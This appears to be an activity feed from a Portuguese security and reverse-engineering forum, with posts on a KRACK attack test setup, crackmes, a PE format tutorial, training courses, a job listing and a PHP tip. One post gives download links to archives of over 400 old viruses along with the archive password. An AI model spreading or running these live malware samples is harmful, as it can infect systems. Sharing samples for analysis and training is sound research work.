Request [12:55:18] Replaying Reassociation Request [12:55:19] Replaying Reassociation Request [12:55:20] Replaying Reassociation Request [12:55:21] Replaying Reassociation Request Basicamente é isso. Estes são os passos para recriar um ambiente de teste para KRACK ATTACK.
  16. Anteriormente
  17. Mais de 400 vírus antigos compartilhados na Internet

    Um usuário de um fórum de compartilhamento de técnicas de criação de vírus escreveu, na última quinta-feira: "Estou entediado e preciso de algo pra fazer então eu pensei em fazer isso: estou empacotando vírus em imagens de disquete." Para descomprimir as imagens você vai precisar de programas que trabalham com elas, como o WinImage ou mount, além do 7Zip. A senha dos arquivos compactados é "infected" (sem aspas). https://virusshare.com/special/dos.7z (232 imagens) https://virusshare.com/special/win.7z (173 imagens)
  18. Engenharia Reversa II

    Inscrição efetuada!! Nos vemos lá. Abs!
  19. Treinamento - Engenharia Reversa II

    Segunda turma do treinamento de Engenharia Reversa II, que já rolou em São Paulo e agora acontece no Rio de Janeiro nos dias 18 e 25 de Novembro (dois sábados)! Para mais informações e inscrições, acesse o tópico do treinamento.
  20. Crackme 01 - Linux - Geyslan

    Fala galera, Hoje eu achei um fonte de um crackme de 2013 dum brother chamado Geyslan e recompilei. Dá pra aplicar 2 níveis nele: Patch Senha válida /* Crackme 01 - C Language - Linux/x86 and x86_64 Copyright (C) 2013 - Geyslan G. Bem, Hacking bits http://hackingbits.com geyslan@gmail.com This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by Bom pra treinar ER no Linux! Quem topa? Lembrando que há estes dois artigos que mostram o uso de algumas ferramentas pra ER no Linux: Além disso, há outras como radare2, peda e gef. Boa sorte! crackme01-geyslan
  21. Sugestões

    Prometo popular. Eu posso demorar um pouco pra começar pq eu to numa correria danada esse mês, mas prometo sim popular. E nao vou sumir nao, nunca sumo. Eu posso demorar, enrolar, mas sumir jamais! hahahahaha. Abração mano Se rolar o grupo de estudos posta aqui no forum, a gente vai conversando sobre.
  22. Como ser um bom profissional em segurança da informação?

    Mtu show, é legal ver que é uma ideia que varias pessoas compartilham, pois as vezes acreditamos que as dificuldades que temos é só nosssas, mas na verdade boa parte ou quase todo mundo compartilha essa mesma dificuldade. Parabens brother !!! =D
  23. Formato PE

    Brother esta eu fazendo algumas pesquisas de PE e encontrei uma referencia que axei mtu legal, segue o link http://www.openrce.org/reference_library/files/reference/PE Format.pdf
  24. Solução de Crackme

    Legal, Danilo! Curti a idéia! Quando eu tiver um pouco mais de tempo vou tentar codar um crackme, ai solto o source junto. Segue meu keygen. https://github.com/bernardopadua/blog-inversing/blob/master/crackme-1-mentebinaria/crackme_keygen.py Abraço!
  25. Solução de Crackme

    1- Desafio Descobrindo pelo menos um usuário que consiga ter acesso ao crackme. aparentemente este crackme foi feito pelo (m.amit30@gmail.com) Att, crackme.exe
  26. Solução de Crackme

    Pessoal, Que tal darmos uma testada em alguns crackme para que quem esteja inciando e queria aprender um pouco mais possa comparar com o resultado apra identificar onde esta errando, sei que existe vários tópicos, videos e etc em alguns outros lugares, mas vamos fazer isso para crackmes que não conseguimos encontrar. A ideia da brincadeira e colocar 1 crack me por mes inicialmente se o pessoal gostar nos aumentos a quantidade. Seja a primeira brincadeira. OBS: Os crackme alguns Crackmes não serão feitos por mim e tentarei dar o crédito conforme eu encontre.
  27. Estágio em Desenvolvimento Linux (Curitiba/PR)

    Para atuar no desenvolvimento e manutenção de sistema Linux, com grande oportunidade de aprendizado em várias áreas, tais como: - Suporte no uso de softwares livres - Testes de Qualidade de Softwares - Compatibilização e Integração do sistema operacional com diversos modelos de dispositivos de hardware Requisitos: - Cursando Tecnologia, Ciência ou Engenharia da Computação. - Desenvolvimento básico em linguagem C, C++, Python, Shell Scripts - Experiência com sistemas Linux. É desejável inglês técnico para leitura e escrita. Benefícios oferecidos: - Ambiente de trabalho amigável e de grande aprendizado - Bolsa-auxílio com valor a ser negociado conforme carga horária e experiência prévia - Contato direto com desenvolvedores experientes e participação no desenvolvimento de uma distribuição Linux global. Interessados enviar currículo com pretensão salarial para cv@pollilinux.com.br Referência: https://br-linux.org/2017/01/vaga-estagio-desenvolvedor-linux-curitibapr.html
  28. Formato PE - 4

    Boa noite pessoal! Essas semanas andam meio corridas e não consegui estudar do jeito que gostaria, mas ainda sim bora lá, o importante é estudar, certo? Peço que dêem uma olhada na estrutura do post passado (IMAGE_OPTIONAL_HEADER) e observem o último campo: IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; Para quem manja de C já bate o olho e de cara nota que isso é um array de estruturas chamado DataDirectory de tamanho IMAGE_NUMBEROF_DIRECTORY_ENTRIES e do tipo IMAGE_DATA_DIRECTORY Se dermos uma olhada na biblioteca winnt.h podemos ver que há um valor pré-definido de 16 para o campo IMAGE_NUMBEROF_DIRECTORY_ENTRIES #define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16 A estrutura 'DataDirectory' segue o seguinte escopo: typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; DWORD Size; } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; Esta estrutura possui, respectivamente, RVAs e Tamanhos de tabelas usadas em tempo de execução que podem ser usadas pelo Windows. Aqui está nossa referência: Offset (PE/PE32+) Size Field Description 96/112 8 Export Table The export table address and size. For more information see section 6.3, “The .edata Section (Image Only).” 104/120 8 Import Table The import table address and size. For more information, see section 6.4, “The .idata Section.” 112/128 8 Resource Table The resource table address and size. For more information, see section 6.9, “The .rsrc Section.” 120/136 8 Exception Table The exception table address and size. For more information, see section 6.5, “The .pdata Section.” 128/144 8 Certificate Table The attribute certificate table address and size. For more information, see section 5.7, “The Attribute Certificate Table (Image Only).” 136/152 8 Base Relocation Table The base relocation table address and size. For more information, see section 6.6, "The .reloc Section (Image Only)." 144/160 8 Debug The debug data starting address and size. For more information, see section 6.1, “The .debug Section.” 152/168 8 Architecture Reserved, must be 0 160/176 8 Global Ptr The RVA of the value to be stored in the global pointer register. The size member of this structure must be set to zero. 168/184 8 TLS Table The thread local storage (TLS) table address and size. For more information, see section 6.7, “The .tls Section.” 176/192 8 Load Config Table The load configuration table address and size. For more information, see section 6.8, “The Load Configuration Structure (Image Only).” 184/200 8 Bound Import The bound import table address and size. 192/208 8 IAT The import address table address and size. For more information, see section 6.4.4, “Import Address Table.” 200/216 8 Delay Import Descriptor The delay import descriptor address and size. For more information, see section 5.8, “Delay-Load Import Tables (Image Only).” 208/224 8 CLR Runtime Header The CLR runtime header address and size. For more information, see section 6.10, “The .cormeta Section (Object Only).” 216/232 8 Reserved, must be zero Aqui está nosso array, cada diretório representa um índice nesta lista. Vou pegar apenas um como exemplo, tendo em vista que todos os outros seguem o mesmo modelo Este é o array na posição 1(considerando que estamos começando de zero). Este se chama Import Directory. Mais pra frente vou tentar falar melhor sobre ele, pois o danado é importante pra caramba. A primeira DWORD é o RVA da tabela (relativo ao BaseAddress) quando carregada em memória. A segunda DWORD é o tamanho dela em bytes. Que tal revermos alguns conceitos? Quando estamos olhando os bytes de um arquivo por meio de um editor/dumper hexa, estamos olhando diretamente para os bytes do arquivo em disco. Para quem está familiarizado com a seguinte instrução: FILE *fp; Saiba que isto significa um ponteiro para o primeiro byte do arquivo, isto é, o início em disco. Com um ponteiro para um arquivo podemos manipular(imprimir, alterar, pular) os bytes diretamente através de várias funções que estão a nossa disposição e isso tudo através de uma abstração chamada stream(abstração, interface, chame do que quiser). Nos nossos estudos estamos falando de um binário, não de um arquivo em formato texto! Mais algumas considerações legais: Por acaso o termo “Offset” significa algo pra vocês? Este significa deslocamento (em relação a algo). Lembram do RVA ? Relative Virtual Address? Ele tem a mesma ideia do offset e é relativo ao BaseAddress. Ainda não ficou claro? Vamos lá… Quando executamos um programa é reservado um espaço de memória para ele chamado Virtual Address Space, o Windows cria este espaço para cada processo criado. O ‘VirtualAddress’(VA), também conhecido como Linear Address, pode ser achado facilmente. Lembram que o RVA é o deslocamento relativo ao BaseAddress? Sendo assim: VA = BaseAddress + RVA Vamos para a próxima estrutura!! Lembram do campo 'NumberOfSections' no FileHeader? O valor daquele campo nos mostra uma coisa interessante: o número de entradas na Section Table. Ok, não faz sentido *-*. Bom, no primeiro byte após os headers (logo após o ‘OptionalHeader’) está localizado um array de 'SectionHeaders' (ou Section Table Entries, use o que lhe agradar mais). Podemos referenciar da seguinte forma: struct IMAGE_SECTION_HEADER SectionHeaders[Num_no_Optional] e cada seção com seu respectivo índice no array. A estrutura de cada SectionHeader segue o seguinte escopo: typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; No caso aqui não vou me preocupar em traduzir cada seção, tendo em vista que os campos do cabeçalho são iguais para todas. Vou apenas explicar pegando uma como exemplo e o resto deixo pra vocês Name O primeiro campo é um array de caracteres(uma string) com valor IMAGE_SIZEOF_SHORT_NAME, tá, mas o que é isso? Dê uma olhada neste campo do header winnt: #define IMAGE_SIZEOF_SHORT_NAME 8 Lá está o valor. Tenha em mente que são 8 bytes contando com um caractere nulo no fim da string(este caractere nulo é ignorado caso o nome tenha de fato 8 bytes). Há alguns detalhes a mais nesta definição, mas vou me preocupar apenas com a imagem de um executável, esta que suporta até 8 bytes em UTF-8 Note que cada byte representa um caractere do nome(no caso aqui é .text) e o resto é preenchido com zeros, ou seja, é feito um padding, um preenchimento para chegarmos ao valor definido pela diretiva #define =D Union (Misc) Pra você que estudou um pouco de estrutura de dados, sabe o que é uma union? Resumindo é parecida com uma struct, a questão é que o espaço de memória usado para as variáveis da union é compartilhado (geralmente em momentos diferentes). O compilador cria automaticamente uma variável grande o bastante para conter o maior tipo de variável da union. Voltando ao PE: PhysicalAddress e VirtualSize(Misc) Aqui temos duas DWORDS, uma indicando o endereço no arquivo e outra indicando o tamanho da seção depois que for carregada em memória(em bytes). Se este valor for maior que ‘SizeOfRawData’ a seção é preenchida com zeros. O campo ‘VirtualSize’ só é válido para imagens executáveis e será zero para arquivos objeto. No nosso caso deu 5744 bytes, 0x1670h VirtualAddress Para imagens executáveis é uma DWORD indicando o RVA, o primeiro byte da seção quando carregada em memória(lembrando que temos que somar ao 'BaseAddress'). Para arquivos objeto os compiladores setam este valor para zero Ali no canto esquerdo podemos ver o valor do VirtualAddress somado ao BaseAddress, resultando no primeiro byte da seção após ser carregada em memória =D SizeOfRawData Após o endereço virtual vêm 32 bits para os Tamanho dos Dados ('SizeOfRawData'), que nada mais é do que o tamanho dos dados da seção arredondado para cima, para o próximo múltiplo de 'FileAlignment' (alinhamento de arquivo). No nosso exemplo, o valor encontrado é 0000 1800, faça a conta e veja se é múltiplo mesmo =D. Caso a seção possua apenas dados não-inicializados este campo é preenchido com zeros(como é o caso da seção .bss ) PointerToRawData Este campo é bem interessante(não que os outros não sejam, claro). Para executáveis é uma DWORD indicando o offset dentro do arquivo(e deve ser múltiplo de 'FileAlignment') até os dados da seção propriamente ditos. Caso a seção possua apenas dados não-inicializados este campo é preenchido com zeros, de novo… No offset 400h na esquerda podemos ver justamente o início da seção .text em nosso arquivo PointerToRelocations, PointerToLinenumbers, NumberOfRelocations e NumberOfLineNumbers Aqui os dois primeiros campos são DWORDS e os seguintes WORDS. Todas estas informações somente são utilizadas para arquivos objeto, ou seja, estarão zeradas no nosso caso. Os executáveis não possuem um diretório de remanejamento base especial e a informação de número de linha, se é que está presente, geralmente está localizada num segmento especial para debugging ou em qualquer outro lugar. Para deixar um pouco mais claro(bem por cima): COFF Relocations (que só acontece em arquivos objeto) é a forma como os dados da seção devem ser modificados quando colocados na imagem e, posteriormente, carregados em memória. Characteristics Uma DWORD com uma porção de flags dizendo características da seção. Podemos dizer que é uma enum. Segue a documentação: Flag Value Description 0x00000000 Reserved for future use. 0x00000001 Reserved for future use. 0x00000002 Reserved for future use. 0x00000004 Reserved for future use. IMAGE_SCN_TYPE_NO_PAD 0x00000008 The section should not be padded to the next boundary. This flag is obsolete and is replaced by IMAGE_SCN_ALIGN_1BYTES. This is valid only for object files. 0x00000010 Reserved for future use. IMAGE_SCN_CNT_CODE 0x00000020 The section contains executable code. IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 The section contains initialized data. IMAGE_SCN_CNT_UNINITIALIZED_ DATA 0x00000080 The section contains uninitialized data. IMAGE_SCN_LNK_OTHER 0x00000100 Reserved for future use. IMAGE_SCN_LNK_INFO 0x00000200 The section contains comments or other information. The .drectve section has this type. This is valid for object files only. 0x00000400 Reserved for future use. IMAGE_SCN_LNK_REMOVE 0x00000800 The section will not become part of the image. This is valid only for object files. IMAGE_SCN_LNK_COMDAT 0x00001000 The section contains COMDAT data. For more information, see section 5.5.6, “COMDAT Sections (Object Only).” This is valid only for object files. IMAGE_SCN_GPREL 0x00008000 The section contains data referenced through the global pointer (GP). IMAGE_SCN_MEM_PURGEABLE 0x00020000 Reserved for future use. IMAGE_SCN_MEM_16BIT 0x00020000 Reserved for future use. IMAGE_SCN_MEM_LOCKED 0x00040000 Reserved for future use. IMAGE_SCN_MEM_PRELOAD 0x00080000 Reserved for future use. IMAGE_SCN_ALIGN_1BYTES 0x00100000 Align data on a 1-byte boundary. Valid only for object files. IMAGE_SCN_ALIGN_2BYTES 0x00200000 Align data on a 2-byte boundary. Valid only for object files. IMAGE_SCN_ALIGN_4BYTES 0x00300000 Align data on a 4-byte boundary. Valid only for object files. IMAGE_SCN_ALIGN_8BYTES 0x00400000 Align data on an 8-byte boundary. Valid only for object files. IMAGE_SCN_ALIGN_16BYTES 0x00500000 Align data on a 16-byte boundary. Valid only for object files. IMAGE_SCN_ALIGN_32BYTES 0x00600000 Align data on a 32-byte boundary. Valid only for object files. IMAGE_SCN_ALIGN_64BYTES 0x00700000 Align data on a 64-byte boundary. Valid only for object files. IMAGE_SCN_ALIGN_128BYTES 0x00800000 Align data on a 128-byte boundary. Valid only for object files. IMAGE_SCN_ALIGN_256BYTES 0x00900000 Align data on a 256-byte boundary. Valid only for object files. IMAGE_SCN_ALIGN_512BYTES 0x00A00000 Align data on a 512-byte boundary. Valid only for object files. IMAGE_SCN_ALIGN_1024BYTES 0x00B00000 Align data on a 1024-byte boundary. Valid only for object files. IMAGE_SCN_ALIGN_2048BYTES 0x00C00000 Align data on a 2048-byte boundary. Valid only for object files. IMAGE_SCN_ALIGN_4096BYTES 0x00D00000 Align data on a 4096-byte boundary. Valid only for object files. IMAGE_SCN_ALIGN_8192BYTES 0x00E00000 Align data on an 8192-byte boundary. Valid only for object files. IMAGE_SCN_LNK_NRELOC_OVFL 0x01000000 The section contains extended relocations. IMAGE_SCN_MEM_DISCARDABLE 0x02000000 The section can be discarded as needed. IMAGE_SCN_MEM_NOT_CACHED 0x04000000 The section cannot be cached. IMAGE_SCN_MEM_NOT_PAGED 0x08000000 The section is not pageable. IMAGE_SCN_MEM_SHARED 0x10000000 The section can be shared in memory. IMAGE_SCN_MEM_EXECUTE 0x20000000 The section can be executed as code. IMAGE_SCN_MEM_READ 0x40000000 The section can be read. IMAGE_SCN_MEM_WRITE 0x80000000 The section can be written to. Nesta parte não vou colocar o valor que deu no meu, vou apenas destacar um fato interessante que é: a seção .text possui permissão de leitura e execução (os bits 29 e 30 estão sempre setados nela), pelo menos deveriam Muito obrigado por aguentar até aqui, espero que tenha sido claro e como sempre, qualquer feedback só mandar bala. Queria também avisar que coloquei todo esse material no meu github (https://github.com/leandropf/pecoff). Sei que não é lá essas coisas, apenas um mero mortal descrevendo os campos, mas ainda sim quem sabe não ajude alguém ou no mínimo dê uma direção . Abraços e bom domingo!
  29. [PHP] Splat Operator

    Isso é extremamente útil para funções como o mysqli_stmt_bind_param, nativo do PHP. $array = ['Um', 'Dois', 'Tres', 4]; $stmt = mysqli_prepare($link, "INSERT INTO Tabela VALUES (?, ?, ?, ?)"); mysqli_stmt_bind_param($stmt, 'sssd', ...$array); mysqli_stmt_execute($stmt); Assim você pode usar um array direto no mysqli_stms_bind_param, devido ao uso do ...$array.
  1. Mais Resultados
×